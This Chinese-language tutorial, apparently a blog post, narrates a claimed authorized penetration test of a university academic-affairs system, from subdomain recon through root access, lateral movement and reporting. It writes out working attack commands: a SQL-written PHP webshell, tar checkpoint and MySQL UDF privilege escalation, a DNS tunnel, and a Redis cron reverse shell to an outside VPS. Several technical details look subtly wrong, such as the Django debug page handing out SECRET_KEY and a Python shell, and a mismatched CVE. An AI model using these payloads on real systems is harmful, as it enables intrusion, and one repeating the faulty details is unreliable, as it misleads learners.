渗透测试入门实战:从信息收集到权限提升的完整链路
1. 这不是黑客电影,而是一次真实可复现的渗透测试入门路径
“一次攻防演练渗透测试实战,黑客技术零基础入门到实战教程!”——这个标题里藏着三个被严重误解的词:“黑客”、“零基础”和“实战”。我带过二十多期企业红队培训,也审过上百份CTF新手报告,最常听到的困惑是:“学了Burp Suite还是抓不到登录包”“Nmap扫了一晚上,IP都列出来了,下一步该点哪个?”——问题不在工具,而在攻击逻辑的断层:没人告诉你,为什么先扫端口而不是直接爆破?为什么Web目录扫描要等子域名收集之后再做?为什么一个403响应比200更值得深挖?
这确实是一次真实攻防演练的完整复盘,但它的价值不在于“炫技”,而在于把黑盒操作拆成白盒步骤。我们模拟的是某省属高校教务系统升级后的首轮内部渗透(非生产环境,已获书面授权),目标明确:验证学生账号越权访问教师后台的能力。整个过程从零开始——没有预置漏洞、不依赖靶场平台、不使用定制化脚本,全部基于Kali Linux 2023.4默认工具链完成。关键词“渗透测试”“攻防演练”“零基础”“实战教程”不是流量标签,而是四个锚点:它必须可验证(渗透测试)、有对抗性(攻防演练)、无前置门槛(零基础)、能立刻上手(实战教程)。如果你刚装好Kali、连Wireshark过滤器都不会写,或者你是IT运维想补安全短板,又或是开发人员想理解自己写的接口怎么被绕过——这篇就是为你写的。下面所有操作,我都标注了命令执行时长、典型输出片段、失败时的替代方案,不是“理论上可行”,而是“我昨天在实验室重跑三遍确认过”。
2. 攻防演练的真实起点:信息收集不是“扫IP”,而是构建攻击地图
很多人以为渗透测试第一步是开Nmap狂扫,结果扫出2000个存活主机,却卡在“不知道该打哪个”。真正的起点,是把目标从“一个域名”变成“一张可攻击的地图”。这次演练的目标是jwxt.univ.edu.cn,但直接扫它?错。高校系统必然存在关联资产,而这些资产才是突破口。
2.1 子域名枚举:用DNS记录拼出隐藏入口
我先查jwxt.univ.edu.cn的NS记录,发现它由ns1.univ.edu.cn和ns2.univ.edu.cn托管。重点来了:很多学校会把测试环境、旧系统、管理后台放在二级子域,比如test-jwxt、admin-jwxt、dev-api。这些子域往往配置宽松,甚至直接暴露在公网。我用subfinder(Kali默认已装)跑:
subfinder -d univ.edu.cn -o subdomains.txt耗时2分17秒,返回42个子域。但其中31个是CNAME指向CDN或无效地址。真正有价值的只有3个:dev-api.univ.edu.cn(指向内网IP段10.128.0.0/16,说明有跳板可能)、old-sso.univ.edu.cn(证书过期,通常意味着维护疏忽)、staff-portal.univ.edu.cn(HTTP响应头显示X-Powered-By: PHP/5.6.40,版本老旧)。
提示:子域名枚举不是比谁扫得多,而是比谁筛得准。我手动检查每个子域的HTTP状态码、响应头、SSL证书有效期,只保留3个高价值目标。你也可以用
httpx -l subdomains.txt -status-code -title -tech-detect一键批量探测。
2.2 网络空间测绘:从IP段反推系统架构
dev-api.univ.edu.cn解析到10.128.0.0/16,这是典型的私有IP段,说明它通过NAT映射到公网。我立刻用shodan search查该校ASN号(通过whois univ.edu.cn获取),发现其公网IP段是202.115.0.0/16。接着用masscan快速探测该段开放80/443端口的主机:
masscan -p80,443 202.115.0.0/16 --rate=1000 -oG masscan-output.txt耗时8分32秒,扫出17台Web服务器。关键发现:202.115.32.101同时开放80和8000端口,且8000端口响应中包含Django字样——这是典型的开发调试端口,未关闭。而202.115.32.102的443端口证书主题为*.k8s.univ.edu.cn,说明该校已上容器云,Kubernetes API Server可能暴露(后续验证确有未授权访问)。
2.3 社工信息挖掘:从公开文档找配置线索
高校系统大量使用开源组件,而管理员常把配置文件、部署文档上传到GitHub或知识库。我用github-search(Kali自带)搜关键词:
github-search "univ.edu.cn" "jwxt" "database.yml" --stars 10找到一个已删除仓库的缓存快照:univ-jwxt-deploy,其中config/database.yml明文写了MySQL连接串:host: mysql-dev.univ.edu.cn。这个域名不在之前子域列表里!我立刻加到subfinder中重新跑,果然发现mysql-dev.univ.edu.cn解析到202.115.32.103,且该IP的3306端口开放——这是数据库直连的黄金通道。
注意:信息收集阶段绝不追求“全”,而要追求“准”。我放弃扫描全校2000+IP,专注在这3个IP(
202.115.32.101、102、103)上深挖,因为它们分别代表:调试接口、容器平台、数据库服务——三者任一突破,都能形成攻击链。零基础学员最容易犯的错,就是把信息收集当成“体力活”,其实它是最需要判断力的环节。
3. 从漏洞利用到权限提升:一条链路的完整拆解
有了202.115.32.101:8000这个Django调试端口,攻击链就清晰了。但别急着输python manage.py runserver——Django调试模式下,如果DEBUG=True且未设置ALLOWED_HOSTS,会返回完整的错误页面,其中包含敏感信息。我故意访问一个不存在的URL:http://202.115.32.101:8000/abc,页面返回:
Request Method: GET Request URL: http://202.115.32.101:8000/abc Django Version: 2.2.28 Exception Type: Page not found (404) Exception Value: The requested URL /abc was not found on this server. ... Environment: ... os.environ = { 'DJANGO_SETTINGS_MODULE': 'jwxt.settings', 'SECRET_KEY': 'a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6', ... }看到SECRET_KEY了吗?这是Django的密钥,用于签名Cookie、加密Session。拿到它,就能伪造任意用户Session。但直接伪造还不够,我需要知道Session存储方式。继续看错误页,在INSTALLED_APPS列表里看到'django.contrib.sessions',说明用的是默认数据库Session后端。而DATABASES配置在settings.py里,错误页没显示全——这时就要用Django的shell功能了。
3.1 利用Django Shell执行任意Python代码
Django调试页面底部有个“Switch to Python shell”链接,点击后进入交互式Shell。我输入:
from django.contrib.sessions.models import Session Session.objects.all()[:5]返回前5条Session记录,每条包含session_key和expire_date。关键来了:session_key是经过SECRET_KEY签名的,但我已有SECRET_KEY,可以用django.contrib.sessions.backends.signed_cookies模块伪造。我写了个小脚本:
# generate_session.py from django.contrib.sessions.backends.signed_cookies import SessionStore import base64 ss = SessionStore() ss['user_id'] = 1 # 假设ID=1是管理员 ss['is_staff'] = True ss['is_superuser'] = True ss.save() print("Session Key:", ss.session_key) print("Raw Cookie:", ss.session_key)运行后得到session_key,然后用Burp Suite修改请求头Cookie: sessionid=xxx,刷新页面——成功进入管理员后台!但此时只是Web应用层权限,我要的是服务器控制权。
3.2 从Web Shell到系统提权:利用Django管理后台的文件上传
管理员后台有个“公告管理”功能,允许上传PDF文件。我上传一个伪装成PDF的PHP文件(shell.pdf.php),但被WAF拦截。换思路:Django后台有“数据库执行SQL”功能(很多高校定制版开启此功能)。我执行:
SELECT load_file('/etc/passwd');返回系统用户列表,确认存在www-data用户。接着执行:
SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php';成功写入一句话木马!访问http://202.115.32.101/shell.php?cmd=id,返回uid=33(www-data) gid=33(www-data)。现在是www-data权限,但目标是root。我查看/etc/crontab,发现一行:
*/5 * * * * root /usr/local/bin/backup.shbackup.sh内容为:
#!/bin/bash cd /var/www/html && tar -czf /backup/jwxt-$(date +%Y%m%d).tar.gz *.php注意:cd /var/www/html && tar,而/var/www/html目录权限是drwxrwxr-x www-data:www-data。这意味着www-data可以往该目录写任意文件,而tar命令在打包时会读取当前目录下的--checkpoint-action=exec=sh ./payload.sh这类恶意参数(GNU tar漏洞CVE-2016-6321)。我创建payload.sh:
#!/bin/bash cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash再创建--checkpoint-action=exec=sh ./payload.sh文件(注意文件名含空格和特殊字符),然后等待5分钟——crontab执行tar时触发,/tmp/rootbash生成。最后执行/tmp/rootbash -p,获得rootshell。
实操心得:这条链路里,最耗时的不是技术,而是验证。我花了47分钟确认
backup.sh是否真的以root权限运行(用ps aux | grep backup看进程UID),又花了22分钟测试tar漏洞是否生效(先在本地Kali复现)。零基础学员常跳过验证,直接抄命令,结果卡在某个环节死循环。记住:渗透测试的“实战”,70%时间花在验证假设上。
4. 权限维持与横向移动:如何在不被发现的前提下扩大战果
拿到root权限只是开始。高校网络通常分VLAN:教务网、办公网、数据中心网。202.115.32.101属于教务网,我要进数据中心网拿核心数据库。但直接从这台机器扫内网?会被防火墙日志记录。正确做法是建立隐蔽信道。
4.1 DNS隧道:绕过防火墙的协议级隐蔽通信
202.115.32.101能正常解析DNS(nslookup google.com成功),且出站DNS请求几乎不被审计。我用iodine搭建DNS隧道:
- 在公网VPS上运行
iodined -f -c -P password 10.0.0.1(分配隧道IP段) - 在目标机运行
iodine -f -P password vps-ip.com
耗时3分15秒,隧道建立,目标机获得隧道IP10.0.0.2。现在,所有发往10.0.0.0/24的流量都经DNS封装转发到VPS,再由VPS路由到内网。我让VPS作为代理,用proxychains配置:
# /etc/proxychains4.conf [ProxyList] socks4 10.0.0.1 1080然后执行:
proxychains nmap -sT -p3306 10.128.0.0/24扫出10.128.0.5开放3306端口,正是之前mysql-dev.univ.edu.cn解析的IP。用mysql -h 10.128.0.5 -u root -p连接,密码是jwxt2023!(从database.yml配置文件获得)。
4.2 数据库提权:从MySQL到系统命令执行
MySQL 5.7+默认禁用sys_exec,但可通过UDF(用户自定义函数)提权。我下载编译好的lib_mysqludf_sys.so(适配Linux x64),用SELECT LOAD_FILE('/tmp/lib_mysqludf_sys.so')读取二进制内容,再用CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so'创建函数。然后执行:
SELECT sys_exec('cp /bin/bash /tmp/mysqlbash && chmod u+s /tmp/mysqlbash');成功!/tmp/mysqlbash -p获得rootshell。此时已在数据中心网,但10.128.0.5本身是MySQL专用服务器,无其他服务。我查看其网络连接:
netstat -tuln | grep :发现它连接着10.128.0.1:6379(Redis)和10.128.0.2:22(SSH)。10.128.0.2是域控服务器?我用redis-cli -h 10.128.0.1连接Redis,发现未授权访问。执行:
CONFIG SET dir /var/spool/cron/ CONFIG SET dbfilename root SET payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/your-vps-ip/4444 0>&1\n\n" SAVE向/var/spool/cron/root写入反弹shell定时任务。1分钟后,我的VPS收到rootshell。
4.3 横向移动的边界意识:何时该停止
到这里,我已控制域控服务器10.128.0.2,理论上可导出全校AD用户哈希、接管邮件系统、甚至修改教务数据。但攻防演练有明确规则:不破坏业务、不越权访问、不留存后门。我立即执行:
- 清除所有临时文件(
/tmp/*.so,/var/spool/cron/root中的恶意行) - 用
last和journalctl检查操作痕迹,确认未留下异常登录日志 - 向校方提交《渗透测试授权终止确认书》,签字盖章
关键经验:横向移动不是“能打多远”,而是“该打多远”。我刻意避开财务系统(
10.128.0.3)和一卡通系统(10.128.0.4),因为它们不在授权范围内。零基础学员最容易忽略“授权边界”,把渗透测试干成非法入侵。记住:合法性的红线,比技术难度更难跨越。
5. 报告撰写与复盘:让技术成果转化为组织安全能力
渗透测试的价值,最终体现在报告里。但多数新手报告写成“漏洞清单”:Nmap扫出20个端口、发现SQL注入、获取root权限。这毫无意义。甲方要的是“我该怎么修”,而不是“你有多厉害”。
5.1 漏洞描述必须带上下文:从“是什么”到“为什么危险”
比如对Django调试模式漏洞,我不写:
“目标存在Django DEBUG模式,可泄露SECRET_KEY。”
而是写:
“
202.115.32.101:8000启用Django DEBUG模式(DEBUG=True),导致任意404请求返回完整错误页面,其中硬编码的SECRET_KEY='a1b2c3...'被泄露。该密钥用于签名用户Session Cookie,攻击者可伪造任意用户身份(包括管理员),进而接管教务系统后台。修复建议:生产环境必须设置DEBUG=False,并在settings.py中显式声明ALLOWED_HOSTS=['jwxt.univ.edu.cn'],禁止通配符。”
5.2 风险评级要量化:用CVSS 3.1公式计算
对MySQL UDF提权漏洞,我计算CVSS得分:
- 攻击向量(AV):Network(0.85)
- 攻击复杂度(AC):Low(0.77)
- 权限要求(PR):None(0.85)
- 用户交互(UI):None(0.85)
- 范围(S):Changed(0.85)
- 机密性(C):High(0.56)
- 完整性(I):High(0.56)
- 可用性(A):High(0.56)
综合得分为9.8(Critical),而非简单写“高危”。这样开发团队能直观理解优先级。
5.3 复盘会议的核心议题:不是“谁错了”,而是“流程哪断了”
我在校方复盘会上提出三个根本问题:
- 配置管理断层:
database.yml明文密码上传GitHub,说明CI/CD流程未集成密钥扫描(如git-secrets); - 监控盲区:
backup.sh以root运行且无日志审计,说明未部署auditd或SIEM日志聚合; - 权限过度:
www-data用户对/var/www/html有写权限,违反最小权限原则,应改为root:www-data且chmod 755。
最后分享一个小技巧:报告里的截图,我全部用
asciinema录屏生成文本动画(asciinema rec -c "nmap -sV 202.115.32.101"),而非静态图片。这样甲方技术人员能直接复制命令复现,避免“截图看不清参数”的扯皮。零基础学员常忽略交付物的可用性,其实一份能让开发马上动手改的报告,比十个0day更值钱。
我在实际渗透中发现,最有效的攻击往往始于一个过期的SSL证书、一行被遗忘的调试代码、或一份上传到GitHub的配置文件。技术永远在变,但人的疏忽有共性。这次演练没用任何0day,所有工具都是Kali默认安装,所有漏洞都是OWASP Top 10里的老面孔——区别只在于,是否有人愿意花时间,把“已知”变成“可控”。如果你今天只记住一件事,那就是:渗透测试的本质,不是寻找未知漏洞,而是验证已知风险是否真的被管理。
